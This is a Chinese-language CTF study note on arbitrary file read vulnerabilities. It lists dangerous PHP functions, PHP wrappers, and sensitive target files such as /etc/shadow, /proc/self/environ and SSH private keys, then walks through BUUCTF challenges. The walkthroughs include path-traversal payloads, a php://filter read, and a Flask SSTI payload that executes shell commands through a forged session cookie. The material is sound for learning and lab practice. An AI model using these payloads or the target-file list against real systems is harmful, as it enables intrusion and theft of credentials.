文件读取

文件读取

image-20220804214515223

原理

攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。

主要读取的文件是服务器的各种配置文件、文件形式存储的密钥、服务器信息(包括正在执行的进程信息)、历史命令、网络信息、应用源码及二进制程序。

开发语言相关的触发点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
phpinfo()
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
危险等级:中

passthru()
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
危险等级:高

exec()
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
危险等级:高

system()
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
危险等级:高

chroot()
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
危险等级:高

scandir()
功能描述:列出指定路径中的文件和目录。
危险等级:中

chgrp()
功能描述:改变文件或目录所属的用户组。
危险等级:高

chown()
功能描述:改变文件或目录的所有者。
危险等级:高

shell_exec()
功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
危险等级:高

proc_open()
功能描述:执行一个命令并打开文件指针用于读取以及写入。
危险等级:高

proc_get_status()
功能描述:获取使用 proc_open() 所打开进程的信息。
危险等级:高

error_log()
功能描述:将错误信息发送到指定位置(文件)。
安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
执行任意命令。
危险等级:低

ini_alter()
功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
具体参见 ini_set()。
危险等级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
危险等级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
危险等级:高

dl()
功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
危险等级:高

pfsockopen()
功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
危险等级:高

syslog()
功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
危险等级:中

readlink()
功能描述:返回符号连接指向的目标文件内容。
危险等级:中

symlink()
功能描述:在 UNIX 系统中建立一个符号链接。
危险等级:高

popen()
功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
危险等级:高

stream_socket_server()
功能描述:建立一个 Internet 或 UNIX 服务器连接。
危险等级:中

putenv()
功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
危险等级:高

禁用方法如下:
打开/etc/php.ini文件,
查找到 disable_functions ,添加需禁用的函数名,如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

PHP

  • 标准库函数:**file_get_contents()file()fopen()函数(及其文件指针操作函数fread()fgets()**等)

  • 与文件包含相关的函数(include()、require()、include_once()、require_once()等)

    以及一些php://伪协议的使用:(参考文件包含

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流
  • 通过PHP读文件的执行系统命令(**system()exec()**等)。

  • 拓展:php-curl扩展(文件内容作为HTTP body)涉及文件存取的库(如数据库相关扩展、图片相关扩展)、XML模块造成的XXE等。

# 为什么PHP还要还要用这些函数呢?

现在PHP开发技术越来越倾向于单入口、多层级、多通道的模式,其中涉及PHP文件之间的调用密集且频繁。
开发者为了写出一个高复用性的文件调用函数,就需要将一些动态的信息传入(如可变的部分文件名)那些函数,如果在程序入口处没有利用switch等分支语句对这些动态输入的数据加以控制,攻击者就很容易注入恶意的路径,从而实现任意文件读取甚至任意文件包含。

Wrapper 机制

PHP向用户提供的指定待打开文件的方式不是简简单单的一个路径,而是一个文件流。我们可以将其简单理解成PHP提供的一套协议。例如,在浏览器中输入http: //host: port/xxx后,就能通过HTTP请求到远程服务器上对应的文件,而在PHP中有很多功能不同但形式相似的协议,统称为Wrapper,其中最具特色的协议便是php://协议,更有趣的是,PHP提供了接口供开发者编写自定义的wrapper(stream_wrapper_register)。

Filter 机制

PHP中另一个具有特色的机制是Filter,其作用是对目前的Wrapper进行一定的处理(如把当前文件流的内容全部变为大写)。

对于自定义的Wrapper而言,Filter需要开发者通过stream_filter_register进行注册。

而PHP内置的一些Wrapper会自带一些Filter,如php://协议存在,所示类型的Filter。

PHP的Filter特性给我们进行任意文件读取提供了很多便利。

假设服务端include函数的路径参数可控,正常情况下它会将目标文件当作PHP文件去解析,如果解析的文件中存在“<?php”等PHP的相关标签,那么标签中的内容会被作为PHP代码执行。比较常见的Base64相关的Filter可将文件流编码成Base64的形式,这样读取的文件内容中就不会存在PHP标签。而更严重的是,如果服务端开启了远程文件包含选项allow_url_include,我们就可以直接执行远程PHP代码。

Python

漏洞经常出现在框架请求静态资源文件部分,也就是最后读取文件内容的open函数,但直接导致漏洞的成因往往是框架开发者忽略了Python函数的feature。

涉及文件操作的应用也因为滥用open函数、模板的不当渲染导致任意文件读取。如:将用户输入的某些数据作为文件名的一部分(常见于认证服务或者日志服务)存储在服务器中,在取文件内容的部分也通过将经过处理的用户输入数据作为索引去查找相关文件。
攻击者构造软链接放入压缩包,解压后的内容会直接指向服务器相应文件,攻击者访问解压后的链接文件会返回链接指向文件的相应内容。

Python的模板注入、反序列化等漏洞都可造成一定程度的任意文件读取。

Java

Java本身的文件读取函数FileInputStream、XXE导致的文件读取。

Java的一些模块也支持file://协议,这是Java应用中出现任意文件读取最多的地方,如Spring Cloud Config Server路径穿越与任意文件读取漏洞(CVE-2019-3799)、Jenkins任意文件读取漏洞(CVE-2018-1999002)等。

Ruby

Ruby的任意文件读取漏洞通常与Rails框架相关。到目前为止,我们已知的通用漏洞为Ruby On Rails远程代码执行漏洞(CVE-2016-0752)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2018-3760)、Ruby On Rails路径穿越与任意文件读取漏洞(CVE-2019-5418)。笔者在CTF竞赛中就曾遇到Ruby On Rails远程代码执行漏洞(CVE-2016-0752)的利用。

Node

Node.js的express模块曾存在任意文件读取漏洞(CVE-2017-14849)。

CTF中Node的文件读取漏洞通常为模板注入、代码注入等情况。

中间件/服务器相关触发点

Nginx错误配置

1
2
3
Location /static{
Alias /home/myapp/static/;
}

如果配置文件中包含上面这段内容,很可能是运维或者开发人员想让用户可以访问static目录(一般是静态资源目录)。
如果用户请求的Web路径是/static…/,拼接到alias上就变成了/home/myapp/static/…/,此时便会产生目录穿越漏洞,并且穿越到了myapp目录。

数据库

以mysql为例:

MySQL的load_file()函数可以进行文件读取,但是load_file()函数读取文件首先需要数据库配置FILE权限(数据库root用户一般都有)。
其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限(很多配置文件都是所有组/用户可读),主流Linux系统还需要Apparmor配置目录白名单(默认白名单限制在MySQL相关的目录下)。

软链接

bash命令ln-s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。

FFmpeg

参考一道题目:https://www.cnblogs.com/iamstudy/articles/2017_quanguo_ctf_web_writeup.html

Docker-API

Docker-API可以控制Docker的行为,一般来说,Docker-API通过UNIX Socket通信,也可以通过HTTP直接通信。
当我们遇见SSRF漏洞时,尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候,就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取(利用Docker的ADD、COPY操作),从而形成一种另类的任意文件读取。

文件读取的目标目录

/etc下的一些目录

/etc:/etc目录下多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。

  • /etc/passwd:/etc/passwd文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。
  • /etc/shadow:/etc/shadow是Linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。
  • /etc/apache2/*:是Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。
  • /etc/nginx/*:是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。
  • /etc/apparmor(.d)/*:是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。
  • /etc/(cron.d/*|crontab):定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。
  • /etc/environment:是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
  • /etc/hostname:表示主机名。
  • /etc/hosts:是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。
  • /etc/issue:指明系统版本。
  • /etc/mysql/*:是MySQL配置文件。
  • /etc/php/*:是PHP配置文件。

/proc目录

/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟文件系统。/proc 文件系统可以被用于收集有用的关于系统和运行中的内核的信息。

  • /proc/cpuinfo:CPU 的信息 (型号, 家族, 缓存大小等)

  • /proc/meminfo:物理内存、交换空间等的信息

  • /proc/mounts:已加载的文件系统的列表

  • /proc/devices:可用设备的列表

  • /proc/filesystems:被支持的文件系统

  • /proc/modules:已加载的模块

  • /proc/version:内核版本

  • /proc/[pid]/cmdline:系统启动时输入的内核命令行参数。

  • /proc/[pid]/cwd:通过cwd命令可以直接跳转到当前目录。

  • /proc/[pid]/environ:环境变量中可能存在secret_key,这时也可以通过environ进行读取。

上述路径中的PID是需要填写的进程号,当然我们不知道,但这里我们可以用 self 来表示我们自己现在正在用的进程。

其他目录

  • Nginx配置文件可能存在其他路径:/usr/local/nginx/conf/*

  • 日志文件:/var/log/*

  • Apache默认Web根目录:/var/www/html

  • PHP session目录:/var/lib/php(5)/sessions 可能泄露用户Session

  • 用户目录:[user_dir_you_know]/.bash_history 历史命令执行

    [user_dir_you_know]/.bashrc 部分环变量
    [user_dir_you_know]/.ssh/id_rsa(.pub) ssh登录的私钥/公钥
    [user_dir_you_know]/.viminfo vim的使用记录

实例

CTF题目:BUUCTF第一章 web入门 https://buuoj.cn/challenges

参考:https://blog.csdn.net/qq_40909772/article/details/121381691

afr_1

使用php伪协议php://filter读取文件:

1
?p=php://filter/read=convert.base64-encode/resource=flag

afr_2

先目录扫描发现了img目录,直接进行访问。

然后尝试回溯目录:

1
https://ec45dcbb-a35f-468b-9d40-51e0a6da2a38.node4.buuoj.cn/img/../

afr_3

参考:https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121490787

随意输入666:

image-20220812143212419

image-20220812143223780

进入article,发现文件参数name,但是没有文件后缀,应该是在后端给加上的:

image-20220812143253201

判断文件读取

判断是否存在文件读取漏洞,修改参数值试试:

image-20220812143428107

发现可以读取其他文件,并且这里的路径为/home/nu11111111l/articles/

尝试读取敏感文件

尝试回溯路径获取系统文件,构造payload:article?name=../../../etc/passwd

image-20220812143728122

但是并没有什么信息。

突破口为/proc

其实这一题的考点是/proc目录的读取

查看系统启动时执行的命令:

1
article?name=../../../proc/self/cmdline

image-20220812144010868

发现server.py文件,查看该文件内容:

/proc/[pid]/cwd:通过cwd命令可以直接跳转到当前目录(网站目录)

1
article?name=../../../proc/self/cwd/server.py

image-20220812143714112

可以发现文件中执行了 flag.py 和 key.py 这两个文件。通过F12查看源码可以更清楚的查看server.py的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

# ----------------------------下面的代码存在SSTI模板注入--------------------------
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''&lt;h1&gt;N1 Page&lt;/h1&gt; &lt;div class="row&gt; &lt;div class="col-md-6 col-md-offset-3 center"&gt; Hello : %s, why you don't look at our &lt;a href='/article?name=article'&gt;article&lt;/a&gt;? &lt;/div&gt; &lt;/div&gt; ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')&gt;=0: # 这里name参数过滤了flag关键词
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e

return render_template('article.html', template=template)

if __name__ == "__main__":
app.run(host='0.0.0.0',port=80, debug=False)

分析源码,确定漏洞利用

分析源码,可以知道:

1.文件夹有2个python文件 flag.py 和密钥文件 key.py。

2.不能直接访问 flag.py,这里任意文件读取过滤了flag关键词。

3.源码存在SSTI模板注入

因为代码中有判断传入的session是否含n1code( 这里可以理解为判断session的身份码),没有的话就创建这个session[‘n1code’]。

然后判断session[‘n1code’]是否为空,为空的的话就令 template(模板)为空,不为空的话就赋值 template 为一段实体编码过的HTML模板,并且**把session[‘n1code’]也带入到模板中渲染(渲染的代码会被执行,这里可以设计命令执行代码 )**。

也就是session中只要有n1code的内容,且不为空,就会被加入template模板中执行。这是只需在其中构造命令执行代码即可。

template解码后如下:

1
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']

构造payload

SSTI模板注入

一般流程为:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

1
.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\']

说人话就是通过上面划线的语句,打开python命令执行的模块,这样我们的命令popen('cat flag.py').read()才能被执行。

(os.popen() 方法用于从获取一个命令的输出)。

因此payload如下:

1
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
python flask框架中的一些魔术方法

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类 //

__base____mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用

加密payload,写入session

还有一个问题是这个payload无法直接写入cookie中的session,因为session还用了key.py进行加密。

所以查看key.py,得到加密的密钥:

1
article?name=../../../proc/self/cwd/key.py

image-20220812151727414

然后使用工具 flask_session_cookie_manager3

https://codeload.github.com/noraj/flask-session-cookie-manager/zip/refs/heads/master

1
flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

加密结果为

1
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YZuIBg.eOXIyEYlDww9MHN2rJZpk13froc

那么这个就是我们的身份码n1code+命令执行语句,作为session被模板渲染后执行,就能读取flag文件

执行攻击,拿到flag

最后使用burp开始抓包,填入在cookie的session字段填入构造的payload:

image-20220812152116080

从回传的网页中得到flag。

总结步骤(思路)

  1. 利用linux下 /porc目录下文件作用查看当前运行进程,得到server.py

  2. 分析server.py得知存在 key.py 和 flag.py(不可查取) ,且存在SSTI模板注入漏洞

  3. 构造模板注入语句,并使用flask_session_cookie_manager3.py脚本进行密钥加密

  4. burp改包实现session伪造,命令执行。得到flag。

关于SSTI模板注入:

http://elssm.top/2021/11/29/SSTI%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5/

https://www.freebuf.com/column/187845.html

关于cookie、session、token:

https://blog.csdn.net/qq_40925189/article/details/107030620